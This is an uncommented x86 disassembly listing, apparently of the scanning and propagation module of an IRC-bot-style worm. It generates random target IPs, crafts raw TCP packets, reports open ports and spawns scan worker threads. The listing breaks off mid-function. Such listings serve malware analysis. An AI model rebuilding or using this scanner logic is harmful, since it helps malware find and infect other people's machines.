var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr 77C41B72h
		nop
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi	; rand


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB90[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5EE1E5
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44467C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27E08AFh
		push	eax
		call	near ptr 77C371BCh
		nop
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FCBh[eax*4]
		mov	eax, dword_4491CF[eax*4]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, off_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5EE1E5
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx ; sub_5EE1E5
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAD0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5EE1E5
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAD0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5EE1E5
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444420h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5EE1E5
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx ; sub_5EE1E5
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44444C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		nop
		call	near ptr 28302B0h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		call	near ptr 283040Fh
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB90[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAD0
		nop
		call	near ptr 2770000h
		push	offset dword_50DAD0
		nop
		call	near ptr 2770642h


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB94[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5EE1E5
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491CF[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491DF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491DF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		call	near ptr 27B0888h
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5EE1E5
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB94[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB94[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB90[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5EE1E5
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB94[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAD0
		nop
		call	near ptr 2770000h


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 283040Fh
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: sub_424420+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424420	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F74
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
